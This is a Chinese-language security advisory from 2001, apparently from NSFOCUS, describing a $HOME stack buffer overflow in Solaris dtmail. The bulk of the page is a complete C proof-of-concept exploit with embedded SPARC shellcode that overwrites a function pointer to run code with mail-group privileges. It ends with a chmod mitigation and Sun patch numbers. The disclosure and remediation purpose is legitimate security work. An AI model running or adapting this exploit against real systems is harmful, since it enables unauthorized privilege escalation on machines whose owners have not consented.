首页 -> 安全研究

安全研究

安全漏洞
Solaris dtmail $HOME变量缓冲区溢出漏洞

发布日期:2001-07-19
更新日期:2001-07-19

受影响系统:

描述:

BUGTRAQ ID :N/A

dtmail是Solaris CDE所带的一个邮件客户端工具。它缺省设置了setgid mail属性。
我发现它在处理$HOME环境变量时存在一个缓冲区溢出漏洞,攻击者可能利用它来获
取mail组权限。

如果将HOME变量设置为一个较长的字符串(超过372字节),那么一个堆栈中的缓冲区将
会溢出。攻击者可以覆盖相邻缓冲区的某些数据,如果小心的构造一个数据结构,可能
使程序调用一个攻击者指定的函数指针,从而攻击者可以以mail组权限执行任意代码。

<*来源:warning3 (warning3@nsfocus.com)
  链接:http://magazine.nsfocus.com/detail.asp?id=1026
*>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


/*
*  sol_sparc_dtmail_HOME_ex.c -  Proof of Concept Code for dtmail $HOME stack
*  overflow bug.
*
*  Found and exploited by warning3.
*
*  It will run "/bin/id" if the exploit succeed.
*  Tested in Solaris 2.6/7 (SPARC).
*
*  DISCLAIMS:
*  This  is a proof of concept code.  This code is for test purpose
*  only and should not be run against any host without permission from
*  the system administrator.
*
*  warning3 <warning3@nsfocus.com>
*  http://www.nsfocus.com
*  2001.6.11
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/systeminfo.h>

#define SP      0xffbefffc      /* default bottom stack address (Solaris 7/8) */

#define DISPENV "DISPLAY=127.0.0.1:0.0"

#define VULPROG "/usr/dt/bin/dtmail"

#define NOP     0xaa1d4015      /* "xor %l5, %l5, %l5" */


char            shellcode[] =
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\x59\x90\x0b\x80\x0e"
"\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14\xec\x3b\xbf\xec"
"\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b"
"\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

/* get current stack point address */
long
get_sp(void)
{
        __asm__("mov %sp,%i0");
}

long
get_shelladdr(long sp_addr, char **arg, char **env)
{
        long            retaddr;
        int             i;
        char            plat[256];
        char            pad = 0, pad1;
        int             env_len, arg_len, len;


        /* calculate the length of "VULPROG" + argv[] */
        for (i = 0, arg_len = 0; arg[i] != NULL; i++) {
                arg_len += strlen(arg[i]) + 1;
        }


        /* calculate the pad nummber . */
        pad = 3 - arg_len % 4;

        memset(env[0], 'A', pad);
        env[0][pad] = '\0';

        /* get environ length */
        for (i = 0, env_len = 0; env[i] != NULL; i++) {
                env_len += strlen(env[i]) + 1;
        }

        /* get platform info  */
        sysinfo(SI_PLATFORM, plat, 256);

        len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1;

        pad1 = len % 4;

        if (pad1 == 3) pad1 = 5;
        else           pad1 = 4 - pad1;

        /* get the exact shellcode address */
        retaddr = sp_addr - pad1/* the trailing zero number */
                - strlen(VULPROG) - 1
                - strlen(plat) - 1;

        for (i--; i > 0; i--)
                retaddr -= strlen(env[i]) + 1;

        printf("Shellcode address is at 0x%x\n", retaddr);
        return retaddr;

}  /* End of get_shelladdr */


int
main(int argc, char **argv)
{
        char            buf[2048], fake_chunk[8], display[256];
        long            retaddr, sp_addr = SP;
        char           *arg[24], *env[24];
        char            padding[64];
        unsigned int   *ptr;
        char           *disp;
        char            ev1[] = "HOME=";
        long            ev1_len;
        long            overbuflen = 372;

        if (argc > 1)
                snprintf(display, sizeof(display) - 1, "DISPLAY=%s", argv[1]);
        else {
                disp = getenv("DISPLAY");
                if (disp)
                        snprintf(display, sizeof(display) - 1, "DISPLAY=%s", disp);
                else
                        strncpy(display, DISPENV, sizeof(display) - 1);
        }

        arg[0] = VULPROG;
        arg[1] = NULL;


        ev1_len = strlen(ev1);
        bzero(buf, 2048);
        memcpy(buf, ev1, ev1_len);
        memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk));

        env[0] = padding;       /* put padding buffer in env */
        env[1] = shellcode;     /* put shellcode in env */
        env[2] = buf;           /* put overflow environ */
        env[3] = display;       /* put display environ */
        env[4] = NULL;          /* end of env */

        /* get stack bottom address */
        if (((unsigned char) (get_sp() >> 24)) == 0xef) {       /* Solaris 2.6 */
                sp_addr = SP - 0x0fbf0000;
        }
        retaddr = get_shelladdr(sp_addr, arg, env);

        ptr = (unsigned int *) fake_chunk;
        *ptr++ = retaddr;
        *ptr++ = 0x12345678;

        ptr = (unsigned int *) &shellcode;
        *ptr = retaddr;
        *(ptr + 4) = retaddr + 20;
        *(ptr + 8) = retaddr + 36;

        memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk));

        execve(VULPROG, arg, env);
        perror("execle");
}                               /* End of main */



建议:

去掉dtmail的sgid mail属性:
# chmod g-s /usr/dt/bin/dtmail

厂商补丁:

安装下列Sun的补丁可以解决这个问题:

SunOS 5.7 SPARC :  107200-12
SunOS 5.7 x86   :  107201-12
SunOS 5.6 SPARC :  105338-27
SunOS 5.6 x86   :  105339-25



浏览次数:3718
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障